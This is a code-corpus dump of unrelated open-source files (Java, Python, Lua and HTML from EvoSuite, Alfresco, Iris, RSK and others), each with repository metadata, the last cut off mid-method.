* will need to be replaced with EvoFile.foo()
*/
public static File[] listRoots() {
if(! MockFramework.isEnabled()){
return File.listRoots();
}
File[] roots = File.listRoots();
MockFile[] mocks = new MockFile[roots.length];
for(int i=0; i<roots.length; i++){
mocks[i] = new MockFile(roots[i].getAbsolutePath());
}
return mocks;
}
public static File createTempFile(String prefix, String suffix, File directory)
throws IOException{
if(! MockFramework.isEnabled()){
return File.createTempFile(prefix, suffix, directory);
}
VirtualFileSystem.getInstance().throwSimuledIOExceptionIfNeeded("");
String path = VirtualFileSystem.getInstance().createTempFile(prefix, suffix, directory);
if(path==null){
throw new MockIOException();
}
return new MockFile(path);
}
public static File createTempFile(String prefix, String suffix)
throws IOException {
return createTempFile(prefix, suffix, null);
}
// -------- modified methods ----------------
@Override
public int compareTo(File pathname) {
if(! MockFramework.isEnabled()){
return super.compareTo(pathname);
}
return new File(getAbsolutePath()).compareTo(pathname);
}
@Override
public File getParentFile() {
if(! MockFramework.isEnabled()){
return super.getParentFile();
}
String p = this.getParent();
if (p == null) return null;
return new MockFile(p);
}
@Override
public File getAbsoluteFile() {
if(! MockFramework.isEnabled()){
return super.getAbsoluteFile();
}
String absPath = getAbsolutePath();
return new MockFile(absPath);
}
@Override
public File getCanonicalFile() throws IOException {
if(! MockFramework.isEnabled()){
return super.getCanonicalFile();
}
String canonPath = getCanonicalPath();
VirtualFileSystem.getInstance().throwSimuledIOExceptionIfNeeded(getAbsolutePath());
return new MockFile(canonPath);
}
@Override
public boolean canRead() {
if(! MockFramework.isEnabled()){
return super.canRead();
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
return file.isReadPermission();
}
@Override
public boolean setReadOnly() {
if(! MockFramework.isEnabled()){
return super.setReadOnly();
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
file.setReadPermission(true);
file.setExecutePermission(false);
file.setWritePermission(false);
return true;
}
@Override
public boolean setReadable(boolean readable, boolean ownerOnly) {
if(! MockFramework.isEnabled()){
return super.setReadable(readable, ownerOnly);
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
file.setReadPermission(readable);
return true;
}
@Override
public boolean canWrite() {
if(! MockFramework.isEnabled()){
return super.canWrite();
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
return file.isWritePermission();
}
@Override
public boolean setWritable(boolean writable, boolean ownerOnly) {
if(! MockFramework.isEnabled()){
return super.setWritable(writable, ownerOnly);
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
file.setWritePermission(writable);
return true;
}
@Override
public boolean setExecutable(boolean executable, boolean ownerOnly) {
if(! MockFramework.isEnabled()){
return super.setExecutable(executable, ownerOnly);
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
file.setExecutePermission(executable);
return true;
}
@Override
public boolean canExecute() {
if(! MockFramework.isEnabled()){
return super.canExecute();
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
return file.isExecutePermission();
}
@Override
public boolean exists() {
if(! MockFramework.isEnabled()){
return super.exists();
}
return VirtualFileSystem.getInstance().exists(getAbsolutePath());
}
@Override
public boolean isDirectory() {
if(! MockFramework.isEnabled()){
return super.isDirectory();
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
return file.isFolder();
}
@Override
public boolean isFile() {
if(! MockFramework.isEnabled()){
return super.isFile();
}
return !isDirectory();
}
@Override
public boolean isHidden() {
if(! MockFramework.isEnabled()){
return super.isHidden();
}
if(getName().startsWith(".")){
//this is not necessarily true in Windows
return true;
} else {
return false;
}
}
@Override
public boolean setLastModified(long time) {
if(! MockFramework.isEnabled()){
return super.setLastModified(time);
}
if (time < 0){
throw new MockIllegalArgumentException("Negative time");
}
FSObject target = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(target==null){
return false;
}
return target.setLastModified(time);
}
@Override
public long lastModified() {
if(! MockFramework.isEnabled()){
return super.lastModified();
}
FSObject target = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(target==null){
return 0;
}
return target.getLastModified();
}
@Override
public long length() {
if(! MockFramework.isEnabled()){
return super.length();
}
FSObject target = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(target==null){
return 0;
}
if(target.isFolder() || target.isDeleted()){
return 0;
}
VFile file = (VFile) target;
return file.getDataSize();
}
//following 3 methods are never used in SF110
@Override
public long getTotalSpace() {
if(! MockFramework.isEnabled()){
return super.getTotalSpace();
}
return 0; //TODO
}
@Override
public long getFreeSpace() {
if(! MockFramework.isEnabled()){
return super.getFreeSpace();
}
return 0; //TODO
}
@Override
public long getUsableSpace() {
if(! MockFramework.isEnabled()){
return super.getUsableSpace();
}
return 0; //TODO
}
@Override
public boolean createNewFile() throws IOException {
if(! MockFramework.isEnabled()){
return super.createNewFile();
}
VirtualFileSystem.getInstance().throwSimuledIOExceptionIfNeeded(getAbsolutePath());
return VirtualFileSystem.getInstance().createFile(getAbsolutePath());
}
@Override
public boolean delete() {
if(! MockFramework.isEnabled()){
return super.delete();
}
return VirtualFileSystem.getInstance().deleteFSObject(getAbsolutePath());
}
@Override
public boolean renameTo(File dest) {
if(! MockFramework.isEnabled()){
return super.renameTo(dest);
}
boolean renamed = VirtualFileSystem.getInstance().rename(
this.getAbsolutePath(),
dest.getAbsolutePath());
return renamed;
}
@Override
public boolean mkdir() {
if(! MockFramework.isEnabled()){
return super.mkdir();
}
String parent = this.getParent();
if(parent==null || !VirtualFileSystem.getInstance().exists(parent)){
return false;
}
return VirtualFileSystem.getInstance().createFolder(getAbsolutePath());
}
@Override
public void deleteOnExit() {
if(! MockFramework.isEnabled()){
super.deleteOnExit();
}
/*
* do nothing, as anyway no actual file is created
*/
}
@Override
public String[] list() {
if(! MockFramework.isEnabled()){
return super.list();
}
if(!isDirectory() || !exists()){
return null;
} else {
VFolder dir = (VFolder) VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
return dir.getChildrenNames();
}
}
@Override
public File[] listFiles() {
if(! MockFramework.isEnabled()){
return super.listFiles();
}
String[] ss = list();
if (ss == null) return null;
int n = ss.length;
MockFile[] fs = new MockFile[n];
for (int i = 0; i < n; i++) {
fs[i] = new MockFile(this,ss[i]);
}
return fs;
}
@Override
public File[] listFiles(FileFilter filter) {
if(! MockFramework.isEnabled()){
return super.listFiles(filter);
}
String ss[] = list();
if (ss == null) return null;
ArrayList<File> files = new ArrayList<File>();
for (String s : ss) {
File f = new MockFile(this,s);
if ((filter == null) || filter.accept(f))
files.add(f);
}
return files.toArray(new File[files.size()]);
}
@Override
public String getCanonicalPath() throws IOException {
if(! MockFramework.isEnabled()){
return super.getCanonicalPath();
}
VirtualFileSystem.getInstance().throwSimuledIOExceptionIfNeeded(getAbsolutePath());
return super.getCanonicalPath();
}
@Override
public URL toURL() throws MalformedURLException {
if(! MockFramework.isEnabled() || !RuntimeSettings.useVNET){
return super.toURL();
}
URL url = super.toURL();
return MockURL.URL(url.toString());
}
// -------- unmodified methods --------------
@Override
public String getName(){
return super.getName();
}
@Override
public String getParent() {
return super.getParent();
}
@Override
public String getPath() {
return super.getPath();
}
@Override
public boolean isAbsolute() {
return super.isAbsolute();
}
@Override
public String getAbsolutePath() {
return super.getAbsolutePath();
}
@Override
public URI toURI() {
return super.toURI(); //no need of VNET here
}
@Override
public String[] list(FilenameFilter filter) {
//no need to mock it, as it uses the mocked list()
return super.list(filter);
}
@Override
public boolean mkdirs() {
//no need to mock it, as all methods it calls are mocked
return super.mkdirs();
}
@Override
public boolean setWritable(boolean writable) {
return super.setWritable(writable); // it calls mocked method
}
@Override
public boolean setReadable(boolean readable) {
return super.setReadable(readable); //it calls mocked method
}
@Override
public boolean setExecutable(boolean executable) {
return super.setExecutable(executable); // it calls mocked method
}
// ------- Object methods -----------
@Override
public boolean equals(Object obj) {
return super.equals(obj);
}
@Override
public int hashCode() {
return super.hashCode();
}
@Override
public String toString() {
return super.toString();
}
}
| SoftwareEngineeringToolDemos/FSE-2011-EvoSuite | runtime/src/main/java/org/evosuite/runtime/mock/java/io/MockFile.java | Java | lgpl-3.0 | 13,402 |
"""
Copyright (C) 2013 Matthew Woodruff
This script is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This script is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License
along with this script. If not, see <http://www.gnu.org/licenses/>.
===========================================================
Coming in: one of 36 algo/problem combinations. 50 seeds in
one file. Also the _Sobol file specifying the
parameterization for each row, as well as the parameters
file itself.
Going out: stats: mean, quantile, variance
grouped by parameterization
grouped by some or all 2d combinations of
parameters
"""
import argparse
import pandas
import numpy
import re
import os
import copy
def is_quantile(stat):
return re.match("q[0-9][0-9]?$", stat)
def is_stat(stat):
if stat in ["mean", "variance", "min", "max", "q100"]:
return stat
elif is_quantile(stat):
return stat
else:
raise argparse.ArgumentTypeError(
"Invalid statistic {0}".format(stat))
def get_args():
parser = argparse.ArgumentParser()
parser.add_argument("data",
type=argparse.FileType("r"),
help="data file to be summarized."
"Should have columns seed, "\
"set, and metrics columns.")
parser.add_argument("parameterizations",
type=argparse.FileType("r"),
help="file containing parameter"\
"izations. Number of param"\
"eterizations should be the "\
"same as number of rows per "\
"seed in the data file."
)
parser.add_argument("parameters",
type=argparse.FileType("r"),
help="file describing parameters. "\
"Should have as many rows as "\
"parameterizations file has "\
"columns."
)
stats = ["mean", "variance", "q10", "q50", "q90"]
parser.add_argument("-s", "--stats", nargs="+",
default = stats, type = is_stat,
help="statistics to compute")
parser.add_argument("-g", "--group", nargs="+",
help="parameters by which to "\
"group. Names should be "\
"found in the parameters "\
"file. "
)
parser.add_argument("-d", "--deltas",
help="If group is specified, "\
"deltas may be used to impose "\
"grid boxes on the summary "\
"rather than using point "\
"values.",
nargs="+", type = float
)
parser.add_argument("-o", "--output-directory",
default="/gpfs/scratch/mjw5407/"
"task1/stats/"
)
return parser.parse_args()
def compute(data, stat):
if stat == "mean":
return data.mean()
if stat == "variance":
return data.var()
if is_quantile(stat):
quantile = float(stat[1:]) / 100.0
if quantile == 0.0:
return data.min()
return data.quantile(quantile)
if stat == "max" or stat == "q100":
return data.max()
if stat == "min":
return data.min()
def analyze(data, stats, group=None, deltas=None):
results = []
if group is None:
group = ["Set"]
togroupby = copy.copy(group)
ii = 0
if deltas is None:
togroupby = group
else:
while ii < len(group) and ii < len(deltas):
colname = "grid_{0}".format(group[ii])
gridnumbers = numpy.floor(data[group[ii]].apply(
lambda val: val / deltas[ii]))
data[colname] = gridnumbers.apply(
lambda val: val * deltas[ii])
togroupby[ii] = colname
ii += 1
print "analyzing grouped by {0}".format(group)
gb = data.groupby(togroupby)
for stat in stats:
print "computing {0}".format(stat)
tag = "{0}_{1}".format("_".join(group), stat)
results.append((tag, compute(gb, stat)))
return results
def write_result(infn, result, outputdir):
fn = "_".join([result[0], os.path.basename(infn)])
fn = re.sub("\.hv$", "", fn)
fn = os.path.join(outputdir, fn)
print "writing {0}".format(fn)
result[1].to_csv(fn, sep=" ", index=True)
def cli():
args = get_args()
data = pandas.read_table(args.data, sep=" ")
parameters = pandas.read_table(
args.parameters, sep=" ",
names=["name","low","high"],
header=None)
param_names = parameters["name"].values
parameterizations = pandas.read_table(
args.parameterizations,
sep=" ",
names = param_names,
header = None)
data = data.join(parameterizations, on=["Set"],
how="outer")
if args.deltas is not None:
deltas = args.deltas
else:
deltas = []
results = analyze(data, args.stats, args.group, deltas)
for result in results:
write_result(args.data.name, result,
args.output_directory)
if __name__ == "__main__":
cli()
# vim:ts=4:sw=4:expandtab:ai:colorcolumn=60:number:fdm=indent
| matthewjwoodruff/moeasensitivity | statistics/statistics.py | Python | lgpl-3.0 | 6,225 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package optas.gui.wizard;
/**
*
* @author chris
*/
public class ComponentWrapper {
public String componentName;
public String componentContext;
public boolean contextComponent;
public ComponentWrapper(String componentName, String componentContext, boolean contextComponent) {
this.componentContext = componentContext;
this.componentName = componentName;
this.contextComponent = contextComponent;
}
@Override
public String toString() {
if (contextComponent) {
return componentName;
}
return /*componentContext + "." + */ componentName;
}
}
| kralisch/jams | JAMSOptas/src/optas/gui/wizard/ComponentWrapper.java | Java | lgpl-3.0 | 738 |
package org.jta.testspringhateoas.hello;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import static org.springframework.hateoas.mvc.ControllerLinkBuilder.*;
@RestController
public class GreetingController {
private static final String TEMPLATE = "Hello, %s!";
@RequestMapping("/greeting")
public HttpEntity<Greeting> greeting(
@RequestParam(value = "name", required = false, defaultValue = "World") String name) {
Greeting greeting = new Greeting(String.format(TEMPLATE, name));
greeting.add(linkTo(methodOn(GreetingController.class).greeting(name)).withSelfRel());
return new ResponseEntity<Greeting>(greeting, HttpStatus.OK);
}
}
| javiertoja/SpringBoot | testSpringHateoas/src/main/java/org/jta/testspringhateoas/hello/GreetingController.java | Java | lgpl-3.0 | 970 |
<?xml version="1.0" encoding="utf-8"?>
<html>
<head>
<meta charset="UTF-8"/>
<title>System.Net.DecompressionMethods – VSharp – Vala Binding Reference</title>
<link href="../style.css" rel="stylesheet" type="text/css"/><script src="../scripts.js" type="text/javascript">
</script>
</head>
<body>
<div class="site_header">System.Net.DecompressionMethods – VSharp Reference Manual</div>
<div class="site_body">
<div class="site_navigation">
<ul class="navi_main">
<li class="package_index"><a href="../index.html">Packages</a></li>
</ul>
<hr class="navi_hr"/>
<ul class="navi_main">
<li class="package"><a href="index.htm">VSharp</a></li>
</ul>
<hr class="navi_hr"/>
<ul class="navi_main">
<li class="namespace"><a href="System.html">System</a></li>
</ul>
<hr class="navi_hr"/>
<ul class="navi_main">
<li class="namespace"><a href="System.Net.html">Net</a></li>
</ul>
<hr class="navi_hr"/>
<ul class="navi_main">
<li class="enum">DecompressionMethods</li>
</ul>
<hr class="navi_hr"/>
<ul class="navi_main">
<li class="enumvalue"><a href="System.Net.DecompressionMethods.Deflate.html">Deflate</a></li>
<li class="enumvalue"><a href="System.Net.DecompressionMethods.GZip.html">GZip</a></li>
<li class="enumvalue"><a href="System.Net.DecompressionMethods.None.html">None</a></li>
</ul>
</div>
<div class="site_content">
<h1 class="main_title">DecompressionMethods</h1>
<hr class="main_hr"/>
<h2 class="main_title">Description:</h2>
<div class="main_code_definition">[ <span class="main_type">Flags</span> ]<br/><span class="main_keyword">public</span> <span class="main_keyword">enum</span> <b><span class="enum">DecompressionMethods</span></b>
</div><br/>
<div class="namespace_note"><b>Namespace:</b> <a href="System.Net.html">System.Net</a>
</div>
<div class="package_note"><b>Package:</b> <a href="index.htm">VSharp</a>
</div>
<h2 class="main_title">Content:</h2>
<h3 class="main_title">Enum values:</h3>
<ul class="navi_inline">
<li class="enumvalue"><a href="System.Net.DecompressionMethods.None.html">None</a> - </li>
<li class="enumvalue"><a href="System.Net.DecompressionMethods.GZip.html">GZip</a> - </li>
<li class="enumvalue"><a href="System.Net.DecompressionMethods.Deflate.html">Deflate</a> - </li>
</ul>
</div>
</div><br/>
<div class="site_footer">Generated by <a href="http://www.valadoc.org/">Valadoc</a>
</div>
</body>
</html> | edwinspire/VSharp | v#/VSharp/VSharp/System.Net.DecompressionMethods.html | HTML | lgpl-3.0 | 2,774 |
/**
* Copyright (C) 2013-2014 Kametic <[email protected]>
*
* Licensed under the GNU LESSER GENERAL PUBLIC LICENSE, Version 3, 29 June 2007;
* or any later version
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.gnu.org/licenses/lgpl-3.0.txt
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package io.nuun.kernel.core.internal;
import static io.nuun.kernel.core.NuunCore.createKernel;
import static io.nuun.kernel.core.NuunCore.newKernelConfiguration;
import static org.fest.assertions.Assertions.assertThat;
import io.nuun.kernel.api.Kernel;
import io.nuun.kernel.core.pluginsit.dummy1.DummyPlugin;
import io.nuun.kernel.core.pluginsit.dummy23.DummyPlugin2;
import io.nuun.kernel.core.pluginsit.dummy23.DummyPlugin3;
import io.nuun.kernel.core.pluginsit.dummy4.DummyPlugin4;
import io.nuun.kernel.core.pluginsit.dummy5.DummyPlugin5;
import java.util.concurrent.CountDownLatch;
import org.junit.Test;
public class KernelMulticoreTest
{
@Test
public void dependee_plugins_that_misses_should_be_source_of_error() throws InterruptedException
{
CountDownLatch startLatch = new CountDownLatch(1);
for (int threadNo = 0; threadNo < 2; threadNo++) {
Thread t = new KernelHolder(startLatch);
t.start();
}
// give the threads chance to start up; we could perform
// initialisation code here as well.
Thread.sleep(200);
startLatch.countDown();
}
static class KernelHolder extends Thread
{
public KernelHolder(CountDownLatch startLatch)
{
}
@SuppressWarnings("unchecked")
@Override
public void run()
{
// try
{
System.out.println("Before");
// startLatch.await();
KernelCore underTest;
DummyPlugin4 plugin4 = new DummyPlugin4();
underTest = (KernelCore) createKernel(
//
newKernelConfiguration() //
.params (
DummyPlugin.ALIAS_DUMMY_PLUGIN1 , "WAZAAAA",
DummyPlugin.NUUNROOTALIAS , "internal,"+KernelCoreTest.class.getPackage().getName()
)
);
assertThat(underTest.name()).startsWith(Kernel.KERNEL_PREFIX_NAME);
System.out.println(">" + underTest.name());
underTest.addPlugins( DummyPlugin2.class);
underTest.addPlugins( DummyPlugin3.class);
underTest.addPlugins( plugin4);
underTest.addPlugins( DummyPlugin5.class);
underTest.init();
assertThat(underTest.isInitialized()).isTrue();
System.out.println(">" + underTest.name() + " initialized = " + underTest.isInitialized());
underTest.start();
assertThat(underTest.isStarted()).isTrue();
System.out.println(">" + underTest.name() + " started = " + underTest.isStarted());
underTest.stop();
}
// catch (InterruptedException e)
// {
// e.printStackTrace();
// }
}
}
}
| adrienlauer/kernel | core/src/test/java/io/nuun/kernel/core/internal/KernelMulticoreTest.java | Java | lgpl-3.0 | 3,859 |
/*
* This file is part of RskJ
* Copyright (C) 2019 RSK Labs Ltd.
* (derived from ethereumJ library, Copyright (c) 2016 <ether.camp>)
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package co.rsk.pcc.blockheader;
import co.rsk.pcc.ExecutionEnvironment;
import org.ethereum.core.Block;
import org.ethereum.core.CallTransaction;
/**
* This implements the "getCoinbaseAddress" method
* that belongs to the BlockHeaderContract native contract.
*
* @author Diego Masini
*/
public class GetCoinbaseAddress extends BlockHeaderContractMethod {
private final CallTransaction.Function function = CallTransaction.Function.fromSignature(
"getCoinbaseAddress",
new String[]{"int256"},
new String[]{"bytes"}
);
public GetCoinbaseAddress(ExecutionEnvironment executionEnvironment, BlockAccessor blockAccessor) {
super(executionEnvironment, blockAccessor);
}
@Override
public CallTransaction.Function getFunction() {
return function;
}
@Override
protected Object internalExecute(Block block, Object[] arguments) {
return block.getCoinbase().getBytes();
}
}
| rsksmart/rskj | rskj-core/src/main/java/co/rsk/pcc/blockheader/GetCoinbaseAddress.java | Java | lgpl-3.0 | 1,780 |
--Copyright (C) 2010 <SWGEmu>
--This File is part of Core3.
--This program is free software; you can redistribute
--it and/or modify it under the terms of the GNU Lesser
--General Public License as published by the Free Software
--Foundation; either version 2 of the License,
--or (at your option) any later version.
--This program is distributed in the hope that it will be useful,
--but WITHOUT ANY WARRANTY; without even the implied warranty of
--MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
--See the GNU Lesser General Public License for
--more details.
--You should have received a copy of the GNU Lesser General
--Public License along with this program; if not, write to
--the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
--Linking Engine3 statically or dynamically with other modules
--is making a combined work based on Engine3.
--Thus, the terms and conditions of the GNU Lesser General Public License
--cover the whole combination.
--In addition, as a special exception, the copyright holders of Engine3
--give you permission to combine Engine3 program with free software
--programs or libraries that are released under the GNU LGPL and with
--code included in the standard release of Core3 under the GNU LGPL
--license (or modified versions of such code, with unchanged license).
--You may copy and distribute such a system following the terms of the
--GNU LGPL for Engine3 and the licenses of the other code concerned,
--provided that you include the source code of that other code when
--and as the GNU LGPL requires distribution of source code.
--Note that people who make modified versions of Engine3 are not obligated
--to grant this special exception for their modified versions;
--it is their choice whether to do so. The GNU Lesser General Public License
--gives permission to release a modified version without this exception;
--this exception also makes it possible to release a modified version
object_building_poi_dantooine_kunga_large2 = object_building_poi_shared_dantooine_kunga_large2:new {
}
ObjectTemplates:addTemplate(object_building_poi_dantooine_kunga_large2, "object/building/poi/dantooine_kunga_large2.iff")
| kidaa/Awakening-Core3 | bin/scripts/object/building/poi/dantooine_kunga_large2.lua | Lua | lgpl-3.0 | 2,228 |
/**
* Copyright (C) 2010-2017 Gordon Fraser, Andrea Arcuri and EvoSuite
* contributors
*
* This file is part of EvoSuite.
*
* EvoSuite is free software: you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as published
* by the Free Software Foundation, either version 3.0 of the License, or
* (at your option) any later version.
*
* EvoSuite is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with EvoSuite. If not, see <http://www.gnu.org/licenses/>.
*/
package org.evosuite.symbolic.vm;
import org.evosuite.symbolic.expr.fp.RealValue;
/**
*
* @author galeotti
*
*/
public final class Fp64Operand implements DoubleWordOperand, RealOperand {
private final RealValue realExpr;
public Fp64Operand(RealValue realExpr) {
this.realExpr = realExpr;
}
public RealValue getRealExpression() {
return realExpr;
}
@Override
public String toString() {
return realExpr.toString();
}
} | sefaakca/EvoSuite-Sefa | client/src/main/java/org/evosuite/symbolic/vm/Fp64Operand.java | Java | lgpl-3.0 | 1,222 |
/*
* #%L
* Alfresco Repository
* %%
* Copyright (C) 2005 - 2016 Alfresco Software Limited
* %%
* This file is part of the Alfresco software.
* If the software was purchased under a paid Alfresco license, the terms of
* the paid license agreement will prevail. Otherwise, the software is
* provided under the following open source license terms:
*
* Alfresco is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Alfresco is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with Alfresco. If not, see <http://www.gnu.org/licenses/>.
* #L%
*/
package org.alfresco.util.schemacomp.model;
import static org.junit.Assert.*;
import static org.mockito.Mockito.verify;
import org.alfresco.test_category.BaseSpringTestsCategory;
import org.alfresco.test_category.OwnJVMTestsCategory;
import org.alfresco.util.schemacomp.DbProperty;
import org.junit.Before;
import org.junit.Test;
import org.junit.experimental.categories.Category;
import org.junit.runner.RunWith;
import org.mockito.Mockito;
import org.mockito.junit.MockitoJUnitRunner;
/**
* Tests for the Schema class.
*
* @author Matt Ward
*/
@RunWith(MockitoJUnitRunner.class)
@Category(BaseSpringTestsCategory.class)
public class SchemaTest extends DbObjectTestBase<Schema>
{
private Schema left;
private Schema right;
@Before
public void setUp()
{
left = new Schema("left_schema");
right = new Schema("right_schema");
}
@Override
protected Schema getThisObject()
{
return left;
}
@Override
protected Schema getThatObject()
{
return right;
}
@Override
protected void doDiffTests()
{
// We need to be warned if comparing, for example a version 500 schema with a
// version 501 schema.
inOrder.verify(comparisonUtils).compareSimple(
new DbProperty(left, "version"),
new DbProperty(right, "version"),
ctx);
// In addition to the base class functionality, Schema.diff() compares
// the DbObjects held in the other schema with its own DbObjects.
inOrder.verify(comparisonUtils).compareCollections(left.objects, right.objects, ctx);
}
@Test
public void acceptVisitor()
{
DbObject dbo1 = Mockito.mock(DbObject.class);
left.add(dbo1);
DbObject dbo2 = Mockito.mock(DbObject.class);
left.add(dbo2);
DbObject dbo3 = Mockito.mock(DbObject.class);
left.add(dbo3);
left.accept(visitor);
verify(dbo1).accept(visitor);
verify(dbo2).accept(visitor);
verify(dbo3).accept(visitor);
verify(visitor).visit(left);
}
@Test
public void sameAs()
{
// We have to assume that two schemas are always the same, regardless of name,
// otherwise unless the reference schema has the same name as the target database
// all the comparisons will fail - and users can choose to install databases with any schema
// name they choose.
assertTrue("Schemas should be considered the same", left.sameAs(right));
// Things are always the same as themselves.
assertTrue("Schemas are the same physical object", left.sameAs(left));
assertFalse("A table is not the same as a schema", left.sameAs(new Table("left_schema")));
assertFalse("null is not the same as a schema", left.sameAs(null));
}
}
| Alfresco/alfresco-repository | src/test/java/org/alfresco/util/schemacomp/model/SchemaTest.java | Java | lgpl-3.0 | 4,062 |
# (C) British Crown Copyright 2014 - 2015, Met Office
#
# This file is part of Iris.
#
# Iris is free software: you can redistribute it and/or modify it under
# the terms of the GNU Lesser General Public License as published by the
# Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Iris is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with Iris. If not, see <http://www.gnu.org/licenses/>.
"""
Test function :func:`iris.fileformats._pyke_rules.compiled_krb.\
fc_rules_cf_fc.build_auxilliary_coordinate`.
"""
from __future__ import (absolute_import, division, print_function)
from six.moves import (filter, input, map, range, zip) # noqa
# import iris tests first so that some things can be initialised before
# importing anything else
import iris.tests as tests
import numpy as np
import mock
from iris.coords import AuxCoord
from iris.fileformats._pyke_rules.compiled_krb.fc_rules_cf_fc import \
build_auxiliary_coordinate
class TestBoundsVertexDim(tests.IrisTest):
def setUp(self):
# Create coordinate cf variables and pyke engine.
points = np.arange(6).reshape(2, 3)
self.cf_coord_var = mock.Mock(
dimensions=('foo', 'bar'),
cf_name='wibble',
standard_name=None,
long_name='wibble',
units='m',
shape=points.shape,
dtype=points.dtype,
__getitem__=lambda self, key: points[key])
self.engine = mock.Mock(
cube=mock.Mock(),
cf_var=mock.Mock(dimensions=('foo', 'bar')),
filename='DUMMY',
provides=dict(coordinates=[]))
# Create patch for deferred loading that prevents attempted
# file access. This assumes that self.cf_bounds_var is
# defined in the test case.
def patched__getitem__(proxy_self, keys):
variable = None
for var in (self.cf_coord_var, self.cf_bounds_var):
if proxy_self.variable_name == var.cf_name:
return var[keys]
raise RuntimeError()
self.deferred_load_patch = mock.patch(
'iris.fileformats.netcdf.NetCDFDataProxy.__getitem__',
new=patched__getitem__)
def test_slowest_varying_vertex_dim(self):
# Create the bounds cf variable.
bounds = np.arange(24).reshape(4, 2, 3)
self.cf_bounds_var = mock.Mock(
dimensions=('nv', 'foo', 'bar'),
cf_name='wibble_bnds',
shape=bounds.shape,
dtype=bounds.dtype,
__getitem__=lambda self, key: bounds[key])
# Expected bounds on the resulting coordinate should be rolled so that
# the vertex dimension is at the end.
expected_bounds = np.rollaxis(bounds, 0, bounds.ndim)
expected_coord = AuxCoord(
self.cf_coord_var[:],
long_name=self.cf_coord_var.long_name,
var_name=self.cf_coord_var.cf_name,
units=self.cf_coord_var.units,
bounds=expected_bounds)
# Patch the helper function that retrieves the bounds cf variable.
# This avoids the need for setting up further mocking of cf objects.
get_cf_bounds_var_patch = mock.patch(
'iris.fileformats._pyke_rules.compiled_krb.'
'fc_rules_cf_fc.get_cf_bounds_var',
return_value=self.cf_bounds_var)
# Asserts must lie within context manager because of deferred loading.
with self.deferred_load_patch, get_cf_bounds_var_patch:
build_auxiliary_coordinate(self.engine, self.cf_coord_var)
# Test that expected coord is built and added to cube.
self.engine.cube.add_aux_coord.assert_called_with(
expected_coord, [0, 1])
# Test that engine.provides container is correctly populated.
expected_list = [(expected_coord, self.cf_coord_var.cf_name)]
self.assertEqual(self.engine.provides['coordinates'],
expected_list)
def test_fastest_varying_vertex_dim(self):
bounds = np.arange(24).reshape(2, 3, 4)
self.cf_bounds_var = mock.Mock(
dimensions=('foo', 'bar', 'nv'),
cf_name='wibble_bnds',
shape=bounds.shape,
dtype=bounds.dtype,
__getitem__=lambda self, key: bounds[key])
expected_coord = AuxCoord(
self.cf_coord_var[:],
long_name=self.cf_coord_var.long_name,
var_name=self.cf_coord_var.cf_name,
units=self.cf_coord_var.units,
bounds=bounds)
get_cf_bounds_var_patch = mock.patch(
'iris.fileformats._pyke_rules.compiled_krb.'
'fc_rules_cf_fc.get_cf_bounds_var',
return_value=self.cf_bounds_var)
# Asserts must lie within context manager because of deferred loading.
with self.deferred_load_patch, get_cf_bounds_var_patch:
